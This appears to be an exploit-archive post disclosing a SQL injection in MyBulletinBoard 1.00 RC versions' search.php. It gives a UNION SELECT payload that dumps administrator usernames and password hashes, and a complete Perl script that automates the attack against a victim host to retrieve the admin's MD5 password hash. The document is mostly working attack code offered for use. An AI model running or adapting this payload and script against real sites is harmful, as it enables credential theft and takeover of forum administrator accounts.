Hello

The Injected File : search.php
Discovered by: HACKERS PAL & Devil-00 & ABDUCTER

Injected Versions :-
Powered by MyBulletinBoard 1.00 Release Candidate 4
Powered by MyBulletinBoard 1.00 Release Candidate 3
Powered by MyBulletinBoard 1.00 Release Candidate 2
Powered by MyBulletinBoard 1.00 Release Candidate 1
And The Last Versions

The Code For The Vul:-

search.php?action=finduser&uid=-1' UNION SELECT uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,username,password FROM mybb_users where usergroup=4/* 


The Exploit By Pirl :-
#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
  print "#################[ MyBB SQL-Injection ]############################\n";
  print "#         Coded By Devil-00 [ sTranger-killer ]       #\n";
  print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID     #\n";
  print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash #\n";
  print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ]        #\n";
  print "##################################################  #################\n";
  exit;
}

my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];

if($ARGV[3] eq 0){
  print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=finduser&uid=-1' UNION SELECT uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui  d,uid,uid,username,password FROM mybb_users where usergroup=4 and uid=1/*";
  $page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
  $page =~ m/<a href="search\.php\?action=results&sid=(.*?)&sortby=&order=">/ && print "[+] Search ID To Use : $1\n";
  exit;  
}else{

print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=results&sid=$searchid&sortby=&order=";
  $page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
  $page =~ m/<a href="member\.php\?action=profile&amp\;uid=1">(.*?)<\/a>/ && print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
  $page =~ m/<a href="forumdisplay\.php\?fid=1">(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
}

-=-=-=-=-

Thanks For Devil-00 & ABDUCTER